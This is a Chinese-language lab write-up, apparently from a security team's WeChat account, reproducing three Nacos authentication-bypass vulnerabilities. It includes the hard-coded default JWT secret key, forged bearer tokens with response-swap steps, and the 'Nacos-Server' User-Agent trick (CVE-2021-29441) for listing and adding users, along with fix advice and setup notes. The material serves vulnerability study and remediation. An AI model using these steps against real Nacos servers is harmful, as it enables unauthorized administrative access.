1.产品简介
NACOS是动态命名和配置服务(Dynamic Naming and Configuration Service)的首字母简称,一个易于构建云原生应用的动态服务发现、配置管理和服务管理平台。
Nacos 发现、配置和管理微服务。Nacos 提供了一组简单易用的特性集,快速实现动态服务发现、服务配置、服务元数据及流量管理。
Nacos 敏捷和容易地构建、交付和管理微服务平台。Nacos 是构建以“服务”为中心的现代应用架构 (例如微服务范式、云原生范式) 的服务基础设施。
2.环境搭建
下载文件,该文件为gz压缩文件
wget https://github.com/alibaba/nacos/releases/download/2.2.0/nacos-server-2.2.0.tar.gz
转移目录
cd nacos/bin
运行nacos
./startup.sh -m standalone
成功访问网站
http://192.168.163.142:8848/nacos/#/login
默认账号密码
nacos/nacos
关闭nacos
./shutdown.sh
3.nacos身份绕过漏洞
3.1原理
nacos在默认情况下未对token.secret.key进行修改,导致攻击者可以绕过密钥认证进入后台。
也就是nacos的密钥是有默认值的,其鉴权是JWT,我们知道密钥即可伪造一个恶意的JWT令牌来攻击
对于jwt加密 其实就是用了base64 密钥是写死在源码里面的 所以直接可以用jwt伪造攻击
对应就是数据包的accesstoken
3.2影响版本
0.1.0 <= Nacos <= 2.2.0
3.3复现
登录抓包
右键拦截返回包
更换POC
HTTP/1.1 200
Authorization: Bearer eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA
Content-Type: application/json; charset=utf-8
Date: Tue, 14 Mar 2023 16:34:47 GMT
Content-Length: 206
{
"accessToken": "eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTYxODEyMzY5N30.nyooAL4OMdiByXocu8kL1ooXd1IeKj6wQZwIH8nmcNA",
"tokenTtl": 18000,
"globalAdmin": false,
"username": "nacos"
}
点击放行
成功进入后台
3.4修复建议
-
升级到最新版nacos -
修改配置文件中secret key的值
4.nacos 身份验证绕过漏洞(CVE-2021-29441)
4.1原理
在<1.4.1及更早版本的Nacos中,当配置文件使用身份验证(Dnacos.core.auth.enabled=true)时候,会判断请求ua是否为"Nacos-Server",如果是的话则不进行任何认证。
4.2影响版本
nacos<1.4.1
4.3复现
在vulhub上搭建环境
cd /root/桌面/docker/vulhub/nacos/CVE-2021-29441/
docker-compose up -d
访问网站
http://192.168.163.142:8848/nacos/#/login
漏洞检测,确定存在该漏洞
http://127.0.0.1:8848/nacos/v1/auth/users?pageNo=1&pageSize=2
把UA改成Nacos-Server
1.成功访问,绕过鉴权,返回用户列表数据
2.绕过鉴权 添加新用户
POST /nacos/v1/auth/users?username=moje&password=123456
成功添加一个moje/123456的用户
3.再次查看用户列表
GET /nacos/v1/auth/users?pageNo=1&pageSize=9 HTTP/1.1
4.成功登陆
5.Nacos身份绕过漏洞(QVD-2023-6271)
5.1原理
Nacos是一个易于使用的平台,专为动态服务发现和配置以及服务管理而设计。可以帮助您轻松构建云原生应用程序和微服务平台。
目前Nacos 身份认证绕过漏洞(QVD-2023-6271),开源服务管理平台Nacos在默认配置下未对 token.secret.key 进行修改,导致远程攻击者可以绕过密钥认证进入后台,造成系统受控等后果。
5.2影响版本
0.1.0 <= Nacos <= 2.2.0
5.3 复现
在nacos中,token.secret.key值是固定死的,位置在conf下的application.properties中:
nacos.core.auth.plugin.nacos.token.secret.key=SecretKey012345678901234567890123456789012345678901234567890123456789
5.3.1获取token
利用该默认key可进行jwt构造,直接进入后台,构造方法:
在https://jwt.io/中:输入默认key:
SecretKey012345678901234567890123456789012345678901234567890123456789
然后再payload里面输入:
{
"sub": "nacos",
"exp": 1702628457
}
在这里注意:1702628457这个值是unix时间戳,换算一下,要比你系统当前的时间更晚,比如当前的时间是2023年12月14日16:31:40,在这里面的时间戳时间是12月15号了:
复制上面得到的值,在burp里面选择登录之后构造:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMjYyODQ1N30.i1le8dhk7cq9zp9ZUzfrh2SE2WJF0oTDyJ4CiDJ8n78
此时就得到了nacos的token信息:
HTTP/1.1 200
Vary: Origin
Vary: Access-Control-Request-Method
Vary: Access-Control-Request-Headers
Content-Security-Policy: script-src 'self'
Set-Cookie: JSESSIONID=9734D7B183B749DBAF5ABA8086D7A3FD; Path=/nacos; HttpOnly
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMjYyODQ1N30.i1le8dhk7cq9zp9ZUzfrh2SE2WJF0oTDyJ4CiDJ8n78
Content-Type: application/json
Date: Thu, 14 Dec 2023 08:39:20 GMT
Connection: close
Content-Length: 197
{"accessToken":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcwMjYyODQ1N30.i1le8dhk7cq9zp9ZUzfrh2SE2WJF0oTDyJ4CiDJ8n78","tokenTtl":18000,"globalAdmin":true,"username":"nacos"}
5.3.2 利用获取token登录后台
如何登录呢,在这里需要用假账号登录之后,再修改返回包就行了,试试看:
先用假账号登录,用burp拦截返回包
替换之前的token信息
点击放行后,成功进入后台
6.踩坑记录
1.nacos无法正常启动
提示没有为JAVA_HOME配置环境变量
解决方法
使用以下命令安装OpenJDK
sudo apt update
sudo apt install default-jdk
安装完成后,使用以下命令验证Java是否成功安装
java -version
设置JAVA_HOME环境变量。打开/etc/environment文件
sudo nano /etc/environment
在文件的末尾添加以下行(根据您的Java安装路径进行更改)
JAVA_HOME="/usr/lib/jvm/default-java"
使用以下命令使更改生效
source /etc/environment
检查JAVA_HOME是否正确设置
echo $JAVA_HOME
已经成功在Kali Linux上安装并设置了JAVA_HOME
并把statup.cmd添加Java_HOME
-END-
如果本文对您有帮助,来个点赞、在看就是对我们莫大的鼓励。
推荐关注:
团队全员均持CISP-PTE(注册信息安全专业人员-渗透测试工程师)认证,积极参与着各类网络安全赛事并屡获佳绩,同时多次高水准的完成了国家级、省部级攻防演习活动以及相关重报工作,均得到甲方的一致青睐与肯定。
原文始发于微信公众号(弱口令安全实验室):Nacos的系列漏洞和利用技巧
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论